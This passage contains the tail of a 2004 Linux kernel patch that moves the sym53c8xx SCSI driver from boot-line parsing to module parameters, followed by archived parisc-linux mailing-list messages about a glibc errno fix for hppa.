-        nvram:n     do not look for serial NVRAM
-        nvram:y     test controllers for onboard serial NVRAM
+	NB: option not currently implemented.
+        nvram=n     do not look for serial NVRAM
+        nvram=y     test controllers for onboard serial NVRAM
         (alternate binary form)
         nvram=<bits options>
         0x01   look for NVRAM  (equivalent to nvram=y)
@@ -557,62 +548,25 @@ characters and digits are allowed.
         0x80   also attach controllers set to OFF in the NVRAM (sym53c8xx only)
 
 10.2.12 Exclude a host from being attached
-        excl=<io_address>
+        excl=<io_address>,...
 
     Prevent host at a given io address from being attached.
-    For example 'sym53c8xx=excl:0xb400,excl:0xc000' indicate to the 
+    For example 'excl=0xb400,0xc000' indicate to the 
     driver not to attach hosts at address 0xb400 and 0xc000.
 
-10.3 Serial NVRAM support boot option
-
-nvram:n     do not look for serial NVRAM
-nvram:y     test controllers for onboard serial NVRAM
+10.3 Converting from old style options
 
-This option can also been entered as an hexadecimal value that allows 
-to control what information the driver will get from the NVRAM and what 
-information it will ignore.
-For details see '17. Serial NVRAM support'.
+Previously, the sym2 driver accepted arguments of the form
+	sym53c8xx=tags:4,sync:10,debug:0x200
 
-When this option is enabled, the driver tries to detect all boards using 
-a Serial NVRAM. This memory is used to hold user set up parameters.
+As a result of the new module parameters, this is no longer available.
+Most of the options have remained the same, but tags has split into
+cmd_per_lun and tag_ctrl for its two different purposes.  The sample above
+would be specified as:
+	modprobe sym53c8xx cmd_per_lun=4 sync=10 debug=0x200
 
-The parameters the driver is able to get from the NVRAM depend on the 
-data format used, as follow:
-
-                                 Tekram format      Symbios format
-General and host parameters
-    Boot order                         N                   Y
-    Host SCSI ID                       Y                   Y
-    SCSI parity checking               Y                   Y
-    Verbose boot messages              N                   Y
-SCSI devices parameters
-    Synchronous transfer speed         Y                   Y
-    Wide 16 / Narrow                   Y                   Y
-    Tagged Command Queuing enabled     Y                   Y
-    Disconnections enabled             Y                   Y
-    Scan at boot time                  N                   Y
-
-In order to speed up the system boot, for each device configured without 
-the "scan at boot time" option, the driver forces an error on the 
-first TEST UNIT READY command received for this device.
-
-Some SDMS BIOS revisions seem to be unable to boot cleanly with very fast 
-hard disks. In such a situation you cannot configure the NVRAM with 
-optimized parameters value.
-
-The 'nvram' boot option can be entered in hexadecimal form in order 
-to ignore some options configured in the NVRAM, as follow:
-
-nvram=<bits options>
-      0x01   look for NVRAM  (equivalent to nvram=y)
-      0x02   ignore NVRAM "Synchronous negotiation" parameters for all devices
-      0x04   ignore NVRAM "Wide negotiation"  parameter for all devices
-      0x08   ignore NVRAM "Scan at boot time" parameter for all devices
-      0x80   also attach controllers set to OFF in the NVRAM (sym53c8xx only)
-
-Option 0x80 is disabled by default.
-Result is that, by default (option not set), the sym53c8xx driver will not 
-attach controllers set to OFF in the NVRAM.
+or on the kernel boot line as:
+	sym53c8xx.cmd_per_lun=4 sym53c8xx.sync=10 sym53c8xx.debug=0x200
 
 10.4 SCSI BUS checking boot option.
 
@@ -747,14 +701,8 @@ serial NVRAM is used by Symbios and Tekr
 host adaptor and it's attached drives.
 
 The Symbios NVRAM also holds data on the boot order of host adaptors in a
-system with more than one host adaptor. This enables the order of scanning
-the cards for drives to be changed from the default used during host adaptor
-detection.
-
-This can be done to a limited extent at the moment using "reverse probe" but
-this only changes the order of detection of different types of cards. The
-NVRAM boot order settings can do this as well as change the order the same
-types of cards are scanned in, something "reverse probe" cannot do.
+system with more than one host adaptor.  This information is no longer used
+as it's fundamentally incompatible with the hotplug PCI model.
 
 Tekram boards using Symbios chips, DC390W/F/U, which have NVRAM are detected
 and this is used to distinguish between Symbios compatible and Tekram host 
@@ -765,6 +713,26 @@ used together with the Symbios cards usi
 "diff" support. ("led pin" support for Symbios compatible cards can remain
 enabled when using Tekram cards. It does nothing useful for Tekram host
 adaptors but does not cause problems either.)
+
+The parameters the driver is able to get from the NVRAM depend on the 
+data format used, as follow:
+
+                                 Tekram format      Symbios format
+General and host parameters
+    Boot order                         N                   Y
+    Host SCSI ID                       Y                   Y
+    SCSI parity checking               Y                   Y
+    Verbose boot messages              N                   Y
+SCSI devices parameters
+    Synchronous transfer speed         Y                   Y
+    Wide 16 / Narrow                   Y                   Y
+    Tagged Command Queuing enabled     Y                   Y
+    Disconnections enabled             Y                   Y
+    Scan at boot time                  N                   Y
+
+In order to speed up the system boot, for each device configured without 
+the "scan at boot time" option, the driver forces an error on the 
+first TEST UNIT READY command received for this device.
 
 
 17.2 Symbios NVRAM layout
Index: drivers/scsi/sym53c8xx_2/sym53c8xx.h
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/sym53c8xx_2/sym53c8xx.h,v
retrieving revision 1.12
diff -u -p -r1.12 sym53c8xx.h
--- drivers/scsi/sym53c8xx_2/sym53c8xx.h	28 Sep 2004 12:34:20 -0000	1.12
+++ drivers/scsi/sym53c8xx_2/sym53c8xx.h	10 Oct 2004 15:56:14 -0000
@@ -68,7 +68,6 @@
  */
 #if 1
 #define	SYM_LINUX_PROC_INFO_SUPPORT
-#define SYM_LINUX_BOOT_COMMAND_LINE_SUPPORT
 #define SYM_LINUX_USER_COMMAND_SUPPORT
 #define SYM_LINUX_USER_INFO_SUPPORT
 #define SYM_LINUX_DEBUG_CONTROL_SUPPORT
@@ -130,7 +129,6 @@ struct sym_driver_setup {
 	u_char	host_id;
 
 	u_char	verbose;
-	u_short	debug;
 	u_char	settle_delay;
 	u_char	use_nvram;
 	u_long	excludes[8];
@@ -144,6 +142,7 @@ struct sym_driver_setup {
 #define SYM_SETUP_IRQ_MODE		sym_driver_setup.irq_mode
 #define SYM_SETUP_SCSI_BUS_CHECK	sym_driver_setup.scsi_bus_check
 #define SYM_SETUP_HOST_ID		sym_driver_setup.host_id
+#define boot_verbose			sym_driver_setup.verbose
 
 /* Always enable parity. */
 #define SYM_SETUP_PCI_PARITY		1
@@ -163,51 +162,12 @@ struct sym_driver_setup {
 	.scsi_bus_check	= 1,					\
 	.host_id	= 7,					\
 	.verbose	= 0,					\
-	.debug		= 0,					\
 	.settle_delay	= 3,					\
 	.use_nvram	= 1,					\
 }
 
-/*
- *  Boot fail safe setup.
- *
- *  Override initial setup from boot command line:
- *    sym53c8xx=safe:y
- */
-#define SYM_LINUX_DRIVER_SAFE_SETUP {				\
-	.max_tag	= 0,					\
-	.burst_order	= 0,					\
-	.scsi_led	= 0,					\
-	.scsi_diff	= 1,					\
-	.irq_mode	= 0,					\
-	.scsi_bus_check	= 2,					\
-	.host_id	= 7,					\
-	.verbose	= 2,					\
-	.debug		= 0,					\
-	.settle_delay	= 10,					\
-	.use_nvram	= 1,					\
-}
-
-/*
- *  This structure is initialized from linux config options.
- *  It can be overridden at boot-up by the boot command line.
- */
-#ifdef SYM_GLUE_C
-struct sym_driver_setup
-	sym_driver_setup = SYM_LINUX_DRIVER_SETUP;
-#ifdef SYM_LINUX_DEBUG_CONTROL_SUPPORT
-u_int	sym_debug_flags = 0;
-#endif
-#else
 extern struct sym_driver_setup sym_driver_setup;
-#ifdef SYM_LINUX_DEBUG_CONTROL_SUPPORT
-extern u_int sym_debug_flags;
-#endif
-#endif /* SYM_GLUE_C */
-
-#ifdef SYM_LINUX_DEBUG_CONTROL_SUPPORT
+extern unsigned int sym_debug_flags;
 #define DEBUG_FLAGS	sym_debug_flags
-#endif
-#define boot_verbose	sym_driver_setup.verbose
 
 #endif /* SYM53C8XX_H */
Index: drivers/scsi/sym53c8xx_2/sym_defs.h
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/sym53c8xx_2/sym_defs.h,v
retrieving revision 1.5
diff -u -p -r1.5 sym_defs.h
--- drivers/scsi/sym53c8xx_2/sym_defs.h	13 Sep 2004 15:23:29 -0000	1.5
+++ drivers/scsi/sym53c8xx_2/sym_defs.h	10 Oct 2004 15:56:15 -0000
@@ -40,7 +40,7 @@
 #ifndef SYM_DEFS_H
 #define SYM_DEFS_H
 
-#define SYM_VERSION "2.1.18k"
+#define SYM_VERSION "2.1.18m"
 #define SYM_DRIVER_NAME	"sym-" SYM_VERSION
 
 /*
Index: drivers/scsi/sym53c8xx_2/sym_glue.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/scsi/sym53c8xx_2/sym_glue.c,v
retrieving revision 1.64
diff -u -p -r1.64 sym_glue.c
--- drivers/scsi/sym53c8xx_2/sym_glue.c	4 Oct 2004 22:23:07 -0000	1.64
+++ drivers/scsi/sym53c8xx_2/sym_glue.c	10 Oct 2004 15:56:16 -0000
@@ -37,12 +37,11 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  */
-#define SYM_GLUE_C
-
 #include <linux/ctype.h>
 #include <linux/init.h>
 #include <linux/interrupt.h>
 #include <linux/module.h>
+#include <linux/moduleparam.h>
 #include <linux/spinlock.h>
 #include <scsi/scsi.h>
 #include <scsi/scsi_tcq.h>
@@ -56,6 +55,77 @@
 #define NAME53C		"sym53c"
 #define NAME53C8XX	"sym53c8xx"
 
+struct sym_driver_setup sym_driver_setup = SYM_LINUX_DRIVER_SETUP;
+unsigned int sym_debug_flags = 0;
+
+static char *excl_string;
+static char *safe_string;
+module_param_named(cmd_per_lun, sym_driver_setup.max_tag, ushort, 0);
+module_param_string(tag_ctrl, sym_driver_setup.tag_ctrl, 100, 0);
+module_param_named(burst, sym_driver_setup.burst_order, byte, 0);
+module_param_named(led, sym_driver_setup.scsi_led, byte, 0);
+module_param_named(diff, sym_driver_setup.scsi_diff, byte, 0);
+module_param_named(irqm, sym_driver_setup.irq_mode, byte, 0);
+module_param_named(buschk, sym_driver_setup.scsi_bus_check, byte, 0);
+module_param_named(hostid, sym_driver_setup.host_id, byte, 0);
+module_param_named(verb, sym_driver_setup.verbose, byte, 0);
+module_param_named(debug, sym_debug_flags, uint, 0);
+module_param_named(settle, sym_driver_setup.settle_delay, byte, 0);
+module_param_named(nvram, sym_driver_setup.use_nvram, byte, 0);
+module_param_named(excl, excl_string, charp, 0);
+module_param_named(safe, safe_string, charp, 0);
+
+MODULE_PARM_DESC(cmd_per_lun, "The maximum number of tags to use by default");
+MODULE_PARM_DESC(tag_ctrl, "More detailed control over tags per LUN");
+MODULE_PARM_DESC(burst, "Maximum burst.  0 to disable, 255 to read from registers");
+MODULE_PARM_DESC(led, "Set to 1 to enable LED support");
+MODULE_PARM_DESC(diff, "0 for no differential mode, 1 for BIOS, 2 for always, 3 for not GPIO3");
+MODULE_PARM_DESC(irqm, "0 for open drain, 1 to leave alone, 2 for totem pole");
+MODULE_PARM_DESC(buschk, "0 to not check, 1 for detach on error, 2 for warn on error");
+MODULE_PARM_DESC(hostid, "The SCSI ID to use for the host adapters");
+MODULE_PARM_DESC(verb, "0 for minimal verbosity, 1 for normal, 2 for excessive");
+MODULE_PARM_DESC(debug, "Set bits to enable debugging");
+MODULE_PARM_DESC(settle, "Settle delay in seconds.  Default 3");
+MODULE_PARM_DESC(nvram, "Option currently not used");
+MODULE_PARM_DESC(excl, "List ioport addresses here to prevent controllers from being attached");
+MODULE_PARM_DESC(safe, "Set other settings to a \"safe mode\"");
+
+MODULE_LICENSE("GPL");
+MODULE_VERSION(SYM_VERSION);
+MODULE_AUTHOR("Matthew Wilcox <matthew@wil.cx>");
+MODULE_DESCRIPTION("NCR, Symbios and LSI 8xx and 1010 PCI SCSI adapters");
+
+static void sym2_setup_params(void)
+{
+	char *p = excl_string;
+	int xi = 0;
+
+	while (p && (xi < 8)) {
+		char *next_p;
+		int val = (int) simple_strtoul(p, &next_p, 0);
+		sym_driver_setup.excludes[xi++] = val;
+		p = next_p;
+	}
+
+	if (safe_string) {
+		if (*safe_string == 'y') {
+			sym_driver_setup.max_tag = 0;
+			sym_driver_setup.burst_order = 0;
+			sym_driver_setup.scsi_led = 0;
+			sym_driver_setup.scsi_diff = 1;
+			sym_driver_setup.irq_mode = 0;
+			sym_driver_setup.scsi_bus_check = 2;
+			sym_driver_setup.host_id = 7;
+			sym_driver_setup.verbose = 2;
+			sym_driver_setup.settle_delay = 10;
+			sym_driver_setup.use_nvram = 1;
+		} else if (*safe_string != 'n') {
+			printk(KERN_WARNING NAME53C8XX "Ignoring parameter %s"
+					" passed to safe option", safe_string);
+		}
+	}
+}
+
 static int __devinit
 pci_get_base_address(struct pci_dev *pdev, int index, u_long *base)
 {
@@ -919,7 +989,6 @@ static void sym_tune_dev_queuing(struct 
 	}
 }
 
-#ifdef	SYM_LINUX_BOOT_COMMAND_LINE_SUPPORT
 /*
  *  Linux select queue depths function
  */
@@ -972,9 +1041,6 @@ static int device_queue_depth(struct sym
 	}
 	return DEF_DEPTH;
 }
-#else
-#define device_queue_depth(np, t, l)	(sym_driver_setup.max_tag)
-#endif	/* SYM_LINUX_BOOT_COMMAND_LINE_SUPPORT */
 
 /*
  * Linux entry point for device queue sizing.
@@ -1767,142 +1833,6 @@ static inline void sym_get_nvram(struct 
 }
 #endif	/* SYM_CONF_NVRAM_SUPPORT */
 
-/*
- *  Driver setup from the boot command line
- */
-#ifdef	SYM_LINUX_BOOT_COMMAND_LINE_SUPPORT
-
-static struct sym_driver_setup
-	sym_driver_safe_setup __initdata = SYM_LINUX_DRIVER_SAFE_SETUP;
-#ifdef	MODULE
-char *sym53c8xx;	/* command line passed by insmod */
-MODULE_PARM(sym53c8xx, "s");
-#endif
-
-#define OPT_MAX_TAG		1
-#define OPT_BURST_ORDER		2
-#define OPT_SCSI_LED		3
-#define OPT_SCSI_DIFF		4
-#define OPT_IRQ_MODE		5
-#define OPT_SCSI_BUS_CHECK	6
-#define	OPT_HOST_ID		7
-#define OPT_VERBOSE		8
-#define OPT_DEBUG		9
-#define OPT_SETTLE_DELAY	10
-#define OPT_USE_NVRAM		11
-#define OPT_EXCLUDE		12
-#define OPT_SAFE_SETUP		13
-
-static char setup_token[] __initdata =
-	"tags:"		"burst:"
-	"led:"		"diff:"
-	"irqm:"		"buschk:"
-	"hostid:"	"verb:"
-	"debug:"	"settle:"
-	"nvram:"	"excl:"
-	"safe:"		;
-
-#ifdef MODULE
-#define	ARG_SEP	' '
-#else
-#define	ARG_SEP	','
-#endif
-
-static int __init get_setup_token(char *p)
-{
-	char *cur = setup_token;
-	char *pc;
-	int i = 0;
-
-	while (cur != NULL && (pc = strchr(cur, ':')) != NULL) {
-		++pc;
-		++i;
-		if (!strncmp(p, cur, pc - cur))
-			return i;
-		cur = pc;
-	}
-	return 0;
-}
-#endif	/* SYM_LINUX_BOOT_COMMAND_LINE_SUPPORT */
-
-int __init sym53c8xx_setup(char *str)
-{
-#ifdef	SYM_LINUX_BOOT_COMMAND_LINE_SUPPORT
-	char *cur = str;
-	char *pc, *pv;
-	unsigned long val;
-	unsigned int i,  c;
-	int xi = 0;
-
-	while (cur != NULL && (pc = strchr(cur, ':')) != NULL) {
-		char *pe;
-
-		val = 0;
-		pv = pc;
-		c = *++pv;
-
-		if	(c == 'n')
-			val = 0;
-		else if	(c == 'y')
-			val = 1;
-		else
-			val = (int) simple_strtoul(pv, &pe, 0);
-
-		switch (get_setup_token(cur)) {
-		case OPT_MAX_TAG:
-			sym_driver_setup.max_tag = val;
-			if (!(pe && *pe == '/'))
-				break;
-			i = 0;
-			while (*pe && *pe != ARG_SEP && 
-				i < sizeof(sym_driver_setup.tag_ctrl)-1) {
-				sym_driver_setup.tag_ctrl[i++] = *pe++;
-			}
-			sym_driver_setup.tag_ctrl[i] = '\0';
-			break;
-		case OPT_SAFE_SETUP:
-			memcpy(&sym_driver_setup, &sym_driver_safe_setup,
-				sizeof(sym_driver_setup));
-			break;
-		case OPT_EXCLUDE:
-			if (xi < 8)
-				sym_driver_setup.excludes[xi++] = val;
-			break;
-
-#define __SIMPLE_OPTION(NAME, name) \
-		case OPT_ ## NAME :		\
-			sym_driver_setup.name = val;\
-			break;
-
-		__SIMPLE_OPTION(BURST_ORDER, burst_order)
-		__SIMPLE_OPTION(SCSI_LED, scsi_led)
-		__SIMPLE_OPTION(SCSI_DIFF, scsi_diff)
-		__SIMPLE_OPTION(IRQ_MODE, irq_mode)
-		__SIMPLE_OPTION(SCSI_BUS_CHECK, scsi_bus_check)
-		__SIMPLE_OPTION(HOST_ID, host_id)
-		__SIMPLE_OPTION(VERBOSE, verbose)
-		__SIMPLE_OPTION(DEBUG, debug)
-		__SIMPLE_OPTION(SETTLE_DELAY, settle_delay)
-		__SIMPLE_OPTION(USE_NVRAM, use_nvram)
-
-#undef __SIMPLE_OPTION
-
-		default:
-			printk("sym53c8xx_setup: unexpected boot option '%.*s' ignored\n", (int)(pc-cur+1), cur);
-			break;
-		}
-
-		if ((cur = strchr(cur, ARG_SEP)) != NULL)
-			++cur;
-	}
-#endif	/* SYM_LINUX_BOOT_COMMAND_LINE_SUPPORT */
-	return 1;
-}
-
-#ifndef MODULE
-__setup("sym53c8xx=", sym53c8xx_setup);
-#endif
-
 static int __devinit sym_check_supported(struct sym_device *device)
 {
 	struct sym_pci_chip *chip;
@@ -2081,9 +2011,9 @@ sym_init_device(struct pci_dev *pdev, st
 void sym_config_pqs(struct pci_dev *pdev, struct sym_device *sym_dev)
 {
 	int slot;
+	u8 tmp;
 
 	for (slot = 0; slot < 256; slot++) {
-		u8 tmp;
 		struct pci_dev *memc = pci_get_slot(pdev->bus, slot);
 
 		if (!memc || memc->vendor != 0x101a || memc->device == 0x0009) {
@@ -2091,28 +2021,26 @@ void sym_config_pqs(struct pci_dev *pdev
 			continue;
 		}
 
-		/*
-		 * We set these bits in the memory controller once per 875.
-		 * This isn't a problem in practice.
-		 */
-
 		/* bit 1: allow individual 875 configuration */
 		pci_read_config_byte(memc, 0x44, &tmp);
-		tmp |= 0x2;
-		pci_write_config_byte(memc, 0x44, tmp);
+		if ((tmp & 0x2) == 0) {
+			tmp |= 0x2;
+			pci_write_config_byte(memc, 0x44, tmp);
+		}
 
 		/* bit 2: drive individual 875 interrupts to the bus */
 		pci_read_config_byte(memc, 0x45, &tmp);
-		tmp |= 0x4;
-		pci_write_config_byte(memc, 0x45, tmp);
-
-		pci_read_config_byte(pdev, 0x84, &tmp);
-		sym_dev->host_id = tmp;
+		if ((tmp & 0x4) == 0) {
+			tmp |= 0x4;
+			pci_write_config_byte(memc, 0x45, tmp);
+		}
 
 		pci_dev_put(memc);
-
 		break;
 	}
+
+	pci_read_config_byte(pdev, 0x84, &tmp);
+	sym_dev->host_id = tmp;
 }
 
 /*
@@ -2141,9 +2069,6 @@ static int sym_detach(struct sym_hcb *np
 	return 1;
 }
 
-MODULE_LICENSE("GPL");
-MODULE_VERSION(SYM_VERSION);

From - Thu Nov 08 21:36:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3
Date: Sun, 10 Oct 2004 21:44:09 -0700
Lines: 64
Approved: news@gmane.org
Message-ID: <20041011044409.GW14151@tausq.org>
References: <41617557000010DC@mail-6-bnl.tiscali.it>
	<20041008170106.GW24430@baldric.uwo.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624494 26025 80.91.229.3 (22 Nov 2014 02:48:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:14 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14079 invoked by uid 65534); 11 Oct 2004 04:44:38 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 11 Oct 2004 06:44:38 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E0E643BE21; Sun, 10 Oct 2004 22:44:35 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22175-06; Sun, 10 Oct 2004 22:44:35 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 13AA63BE26; Sun, 10 Oct 2004 22:44:14 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 719403BE0E
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Oct 2004 22:44:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22175-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Oct 2004 22:44:09 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 1EC843BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 10 Oct 2004 22:44:09 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 9252149473E; Sun, 10 Oct 2004 22:44:08 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by palinux.hppa (Postfix) with ESMTP id 11F9A4940BB
	for <parisc-linux@parisc-linux.org>;
	Sun, 10 Oct 2004 22:44:07 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 593C9CD2FB; Sun, 10 Oct 2004 21:44:09 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20041008170106.GW24430@baldric.uwo.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24974

> The only problem might exist if __errno_location does not return the
> proper address of rltd_errno when RTLD_PRIVATE_ERRNO is defined. It
> should. If it doesn't then our definition of
> SYSCALL_ERRNO_HANDLER should change in that situation (away from
> DEFAULT_SYSCALL_ERROR_HANDLER which is set to __errno_location).

is there a fix for this? i was building glibc from cvs today to look at
the _dl_debug_state problem and ran into this too.... (also the problem
with the missing NULL defn for waitid)

The problem here seems to be that we are using the generic dl-sysdep.h 
and errno.c/errno-loc.c definitions, and when building rtld-errno-loc.o,
__errno_location is coded to return &errno and not &rtld_errno.

i hacked this in my build but not sure if this is the proper solution --
should we propose a change to the generic errno-loc.c? or do we need our
own? or am i on the wrong track?

i'm using something like this:

Index: linuxthreads/sysdeps/pthread/errno-loc.c
===================================================================
RCS file: /cvs/glibc/libc/linuxthreads/sysdeps/pthread/errno-loc.c,v
retrieving revision 1.3
diff -u -p -r1.3 errno-loc.c
--- linuxthreads/sysdeps/pthread/errno-loc.c	1 Apr 2003 00:52:40 -0000	1.3
+++ linuxthreads/sysdeps/pthread/errno-loc.c	11 Oct 2004 04:41:14 -0000
@@ -24,9 +24,13 @@
 #include <sysdep-cancel.h>
 
 #if ! USE___THREAD
+#if RTLD_PRIVATE_ERRNO
+extern int rtld_errno;
+#else
 #undef errno
 extern int errno;
 #endif
+#endif
 
 int *
 #if ! USE___THREAD
@@ -41,6 +45,10 @@ __errno_location (void)
       return LIBC_THREAD_GETMEM (self, p_errnop);
     }
 #endif
+#if RTLD_PRIVATE_ERRNO
+  return &rtld_errno;
+#else
   return &errno;
+#endif
 }
 libc_hidden_def (__errno_location)

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3
Date: Tue, 12 Oct 2004 16:38:50 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20041012203849.GI24430@baldric.uwo.ca>
References: <41617557000010DC@mail-6-bnl.tiscali.it>
	<20041008170106.GW24430@baldric.uwo.ca>
	<20041011044409.GW14151@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624494 26033 80.91.229.3 (22 Nov 2014 02:48:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:14 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 27818 invoked by uid 65534); 12 Oct 2004 20:41:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 12 Oct 2004 22:41:47 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 829023BC80; Tue, 12 Oct 2004 14:41:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 10823-10; Tue, 12 Oct 2004 14:41:37 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8F33F3BDFF; Tue, 12 Oct 2004 14:40:56 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E23453BDDA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Oct 2004 14:40:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 10823-07 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Oct 2004 14:40:50 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id B584F3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 12 Oct 2004 14:40:50 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 4CAD1494824; Tue, 12 Oct 2004 14:40:50 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id D1D4A494778
	for <parisc-linux@parisc-linux.org>;
	Tue, 12 Oct 2004 14:40:49 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CHTQ2-0006mr-00; Tue, 12 Oct 2004 16:38:50 -0400
Content-Disposition: inline
In-Reply-To: <20041011044409.GW14151@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (13% Sync Ratio [=.........])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
